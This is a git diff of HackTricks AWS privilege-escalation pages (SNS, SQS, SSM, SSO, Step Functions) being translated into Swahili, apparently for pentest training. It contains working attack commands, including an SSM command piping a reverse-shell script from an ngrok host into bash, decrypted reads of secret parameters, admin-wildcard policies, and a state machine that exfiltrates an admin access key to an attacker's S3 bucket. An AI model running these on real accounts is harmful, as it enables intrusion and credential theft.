+{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 699bb58cf..5a95a8517 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,36 +12,26 @@ For more information check: ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Madhara Yanayoweza Kutokea**: Utekelezaji wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au uchovu wa rasilimali. ### `sns:Subscribe` -An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Mshambuliaji anaweza kujiandikisha au kujiunga na mada ya SNS, na hivyo kupata ufikiaji usioidhinishwa wa ujumbe au kuharibu utendaji wa kawaida wa programu zinazotegemea mada hiyo. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` - -**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa ujumbe (taarifa nyeti), usumbufu wa huduma kwa programu zinazotegemea mada iliyoathiriwa. ### `sns:AddPermission` -An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions. - +Mshambuliaji anaweza kuwapa watumiaji au huduma zisizoidhinishwa ufikiaji wa mada ya SNS, na hivyo kupata ruhusa zaidi. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mada, kufichuliwa kwa ujumbe, au upotoshaji wa mada na watumiaji au huduma zisizoidhinishwa, kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea mada hiyo. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 384ed8430..e1ff1908a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,39 +12,29 @@ For more information check: ### `sqs:AddPermission` -An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities. - +Mshambuliaji anaweza kutumia ruhusa hii kutoa ufikiaji kwa watumiaji au huduma zisizoidhinishwa kwa foleni ya SQS kwa kuunda sera mpya au kubadilisha sera zilizopo. Hii inaweza kusababisha ufikiaji usioidhinishwa kwa ujumbe katika foleni au udanganyifu wa foleni na vyombo visivyoidhinishwa. ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa foleni, kufichuliwa kwa ujumbe, au upotoshaji wa foleni na watumiaji au huduma zisizoidhinishwa. -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. +### `sqs:SendMessage`, `sqs:SendMessageBatch` +Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye foleni ya SQS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Madhara Yanayoweza Kutokea**: Utekelezaji wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au upungufu wa rasilimali. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Mshambuliaji anaweza kupokea, kufuta, au kubadilisha mwonekano wa ujumbe katika foleni ya SQS, na kusababisha kupotea kwa ujumbe, uharibifu wa data, au usumbufu wa huduma kwa programu zinazotegemea ujumbe hao. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Madhara Yanayoweza Kutokea**: Kuiba taarifa nyeti, Kupoteza ujumbe, uharibifu wa data, na usumbufu wa huduma kwa programu zinazotegemea ujumbe zilizoathiriwa. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index c4067e2ca..3d9f5874d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -For more info about SSM check: +Kwa maelezo zaidi kuhusu SSM angalia: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,7 @@ For more info about SSM check: ### `ssm:SendCommand` -An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Mshambuliaji mwenye ruhusa **`ssm:SendCommand`** anaweza **kutekeleza amri katika mifano** inayotumia Amazon SSM Agent na **kuathiri IAM Role** inayotumia ndani yake. ```bash # Check for configured instances aws ssm describe-instance-information @@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` - -In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with: - +Katika kesi unayotumia mbinu hii kuongeza mamlaka ndani ya mfano wa EC2 ulioathiriwa tayari, unaweza tu kukamata rev shell kwa ndani kwa: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayotembea yenye SSM Agents inayoendesha. ### `ssm:StartSession` -An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Mshambuliaji mwenye ruhusa **`ssm:StartSession`** anaweza **kuanzisha kikao kama cha SSH katika mifano** inayotembea yenye Amazon SSM Agent na **kuathiri IAM Role** inayotembea ndani yake. ```bash # Check for configured instances aws ssm describe-instance-information @@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm start-session --target "$INSTANCE_ID" ``` - > [!CAUTION] -> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Ili kuanza kikao unahitaji **SessionManagerPlugin** iliyosakinishwa: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayotembea yenye SSM Agents inayoendesha. -#### Privesc to ECS - -When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ -According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the ā€œ_exec_ā€œ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ -Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running: +#### Privesc kwa ECS +Wakati **ECS tasks** zinapokimbia na **`ExecuteCommand` imewezeshwa** watumiaji wenye ruhusa za kutosha wanaweza kutumia `ecs execute-command` ili **kutekeleza amri** ndani ya kontena.\ +Kulingana na [**nyaraka**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) hii inafanywa kwa kuunda channel salama kati ya kifaa unachotumia kuanzisha amri ya ā€œ_exec_ā€œ na kontena lengwa na SSM Session Manager. (SSM Session Manager Plugin inahitajika ili hii ifanye kazi)\ +Hivyo, watumiaji wenye `ssm:StartSession` wataweza **kupata shell ndani ya ECS tasks** na chaguo hicho kikiwa kimewezeshwa kwa kukimbia: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` - ![](<../../../images/image (185).png>) -**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa `ECS`IAM roles zilizounganishwa na kazi zinazotembea zikiwa na `ExecuteCommand` iliyoanzishwa. ### `ssm:ResumeSession` -An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it. - +Mshambuliaji mwenye ruhusa **`ssm:ResumeSession`** anaweza ku-**anzisha tena kikao kama cha SSH katika mifano** inayotembea na Amazon SSM Agent ikiwa na hali ya kikao cha SSM **kilichounganishwa** na **kuathiri IAM Role** inayotembea ndani yake. ```bash # Check for configured instances aws ssm describe-sessions # Get resume data (you will probably need to do something else with this info to connect) aws ssm resume-session \ - --session-id Mary-Major-07a16060613c408b5 +--session-id Mary-Major-07a16060613c408b5 ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayotembea yenye SSM Agents zinazotembea na vikao vilivyokatishwa. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys. - +Mshambuliaji mwenye ruhusa zilizoelezwa atakuwa na uwezo wa kuorodhesha **SSM parameters** na **kuzisoma kwa maandiko wazi**. Katika vigezo hivi unaweza mara nyingi **kupata taarifa nyeti** kama funguo za SSH au funguo za API. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` - -**Potential Impact:** Find sensitive information inside the parameters. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya vigezo. ### `ssm:ListCommands` -An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them. - +Mshambuliaji mwenye ruhusa hii anaweza kuorodhesha **amri** zote zilizotumwa na kwa matumaini kupata **taarifa nyeti** juu yao. ``` aws ssm list-commands ``` - -**Potential Impact:** Find sensitive information inside the command lines. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya mistari ya amri. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it. - +Mshambuliaji mwenye ruhusa hizi anaweza orodhesha **amri** zote zilizotumwa na **kusoma matokeo** yaliyotolewa akitumaini kupata **taarifa nyeti** ndani yake. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -118,19 +103,14 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` - -**Potential Impact:** Find sensitive information inside the output of the command lines. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya matokeo ya mistari ya amri. ### Codebuild -You can also use SSM to get inside a codebuild project being built: +Unaweza pia kutumia SSM kuingia ndani ya mradi wa codebuild unaojengwa: {{#ref}} aws-codebuild-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 0fb4e10a1..49d16dbed 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -4,58 +4,53 @@ ## AWS Identity Center / AWS SSO -For more information about AWS Identity Center / AWS SSO check: +Kwa maelezo zaidi kuhusu AWS Identity Center / AWS SSO angalia: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\ -> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\ -> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> Kumbuka kwamba kwa **kawaida**, ni **watumiaji** pekee wenye ruhusa **kutoka** kwa **Akaunti ya Usimamizi** watakuwa na uwezo wa kufikia na **kudhibiti Kituo cha Utambulisho wa IAM**.\ +> Watumiaji kutoka akaunti nyingine wanaweza tu kuruhusiwa ikiwa akaunti hiyo ni **Msimamizi wa Wawakilishi.**\ +> [Angalia hati kwa maelezo zaidi.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) ### ~~Reset Password~~ -An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email. +Njia rahisi ya kupandisha mamlaka katika hali kama hii ingekuwa kuwa na ruhusa inayoruhusu kubadilisha nywila za watumiaji. Kwa bahati mbaya, inawezekana tu kutuma barua pepe kwa mtumiaji ili kubadilisha nywila yake, hivyo unahitaji ufikiaji wa barua pepe ya mtumiaji. ### `identitystore:CreateGroupMembership` -With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has. - +Kwa ruhusa hii inawezekana kuweka mtumiaji ndani ya kundi ili inherit ruhusa zote ambazo kundi lina. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` - ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Mshambuliaji mwenye ruhusa hii anaweza kutoa ruhusa za ziada kwa Seti ya Ruhusa ambayo imetolewa kwa mtumiaji chini ya udhibiti wake. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml # Content of /tmp/policy.yaml { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Statement1", - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Mshambuliaji mwenye ruhusa hii anaweza kutoa ruhusa za ziada kwa Seti ya Ruhusa ambayo imetolewa kwa mtumiaji chini ya udhibiti wake ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control. +Mshambuliaji mwenye ruhusa hii anaweza kutoa ruhusa za ziada kwa Seti ya Ruhusa ambayo imetolewa kwa mtumiaji chini ya udhibiti wake. > [!WARNING] -> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected. - +> Ili kutumia vibaya ruhusa hizi katika kesi hii unahitaji kujua **jina la sera inayosimamiwa na mteja ambayo iko ndani ya AKAUNTI ZOTE** ambazo zitakazoathiriwa. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:CreateAccountAssignment` -An attacker with this permission could give a Permission Set to a user under his control to an account. - +Mshambuliaji mwenye ruhusa hii anaweza kumpa Seti ya Ruhusa mtumiaji chini ya udhibiti wake kwa akaunti. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` - ### `sso:GetRoleCredentials` -Returns the STS short-term credentials for a given role name that is assigned to the user. - +Inarudisha STS muda mfupi wa akiba kwa jina la jukumu lililotolewa kwa mtumiaji. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` - -However, you need an access token that I'm not sure how to get (TODO). +Hata hivyo, unahitaji tokeni ya ufikiaji ambayo sija hakika jinsi ya kupata (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Mshambuliaji mwenye ruhusa hii anaweza kuondoa uhusiano kati ya sera inayosimamiwa na AWS kutoka kwa seti ya ruhusa iliyotajwa. Inawezekana kutoa ruhusa zaidi kupitia **kuondoa sera inayosimamiwa (sera ya kukataa)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` - ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Mshambuliaji mwenye ruhusa hii anaweza kuondoa uhusiano kati ya sera inayosimamiwa na Mteja kutoka kwa seti ya ruhusa iliyoainishwa. Inawezekana kutoa ruhusa zaidi kupitia **kuondoa sera inayosimamiwa (sera ya kukataa)**. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` - ### `sso:DeleteInlinePolicyFromPermissionSet` -An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**. - +Mshambuliaji mwenye ruhusa hii anaweza kuondoa ruhusa kutoka kwa sera ya ndani kutoka kwa seti ya ruhusa. Inawezekana kutoa **haki zaidi kupitia kuondoa sera ya ndani (sera ya kukataa)**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` - ### `sso:DeletePermissionBoundaryFromPermissionSet` -An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary. - +Mshambuliaji mwenye ruhusa hii anaweza kuondoa Mipaka ya Ruhusa kutoka kwa seti ya ruhusa. Inawezekana kutoa **haki zaidi kwa kuondoa vizuizi kwenye Seti ya Ruhusa** vilivyotolewa kutoka kwa Mipaka ya Ruhusa. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index bfc3adb77..a6dcd1e78 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +Kwa maelezo zaidi kuhusu huduma hii ya AWS, angalia: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,65 +12,58 @@ For more information about this AWS service, check: ### Task Resources -These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions. +Mbinu hizi za kupandisha hadhi zitahitaji kutumia baadhi ya rasilimali za AWS step function ili kutekeleza vitendo vya kupandisha hadhi vinavyotakiwa. -In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in: +Ili kuangalia vitendo vyote vinavyowezekana, unaweza kwenda kwenye akaunti yako ya AWS kuchagua kitendo unachotaka kutumia na kuona vigezo vinavyotumika, kama katika:
-Or you could also go to the API AWS documentation and check each action docs: +Au unaweza pia kwenda kwenye hati za API za AWS na kuangalia hati za kila kitendo: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. - +Mshambuliaji mwenye ruhusa za **`states:TestState`** & **`iam:PassRole`** anaweza kujaribu hali yoyote na kupitisha jukumu lolote la IAM bila kuunda au kuboresha mashine ya hali iliyopo, ikiruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Kwa pamoja, ruhusa hizi zinaweza kusababisha vitendo vingi visivyoidhinishwa, kutoka kwa kubadilisha michakato hadi kubadilisha data, uvunjaji wa data, usimamizi wa rasilimali, na kupandisha hadhi. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` - -The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action: +Mifano ifuatayo inaonyesha jinsi ya kujaribu hali inayounda ufunguo wa ufikiaji kwa mtumiaji **`admin`** kwa kutumia ruhusa hizi na jukumu lenye ruhusa nyingi katika mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu iliyounganishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu hali hiyo kutekeleza kitendo cha **`iam:CreateAccessKey`**: - **stateDefinition.json**: - ```json { - "Type": "Task", - "Parameters": { - "UserName": "admin" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "End": true +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true } ``` - -- **Command** executed to perform the privesc: - +- **Amri** iliyotekelezwa ili kufanya privesc: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole { - "output": "{ - \"AccessKey\":{ - \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", - \"CreateDate\":\"2024-07-09T16:59:11Z\", - \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", - \"Status\":\"Active\", - \"UserName\":\"admin\" - } - }", - "status": "SUCCEEDED" +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine. - +Mshambuliaji mwenye **`states:CreateStateMachine`**& **`iam:PassRole`** angeweza kuunda mashine ya hali na kutoa kwake jukumu lolote la IAM, kuruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za jukumu hilo. Kinyume na mbinu ya awali ya privesc (**`states:TestState`** & **`iam:PassRole`**), hii haitekelezi yenyewe, utahitaji pia kuwa na ruhusa za **`states:StartExecution`** au **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **haipatikani kwa mifumo ya kazi ya kawaida**, **ni kwa mashine za hali tu**) ili kuanza na utekelezaji juu ya mashine ya hali. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -82,176 +75,157 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` - The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. - **stateMachineDefinition.json**: - ```json { - "Comment": "Malicious state machine to create IAM access key and upload to S3", - "StartAt": "CreateAccessKey", - "States": { - "CreateAccessKey": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "Parameters": { - "UserName": "admin" - }, - "ResultPath": "$.AccessKeyResult", - "Next": "PrepareS3PutObject" - }, - "PrepareS3PutObject": { - "Type": "Pass", - "Parameters": { - "Body.$": "$.AccessKeyResult.AccessKey", - "Bucket": "attacker-controlled-S3-bucket", - "Key": "AccessKey.json" - }, - "ResultPath": "$.S3PutObjectParams", - "Next": "PutObject" - }, - "PutObject": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:s3:putObject", - "Parameters": { - "Body.$": "$.S3PutObjectParams.Body", - "Bucket.$": "$.S3PutObjectParams.Bucket", - "Key.$": "$.S3PutObjectParams.Key" - }, - "End": true - } - } +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", 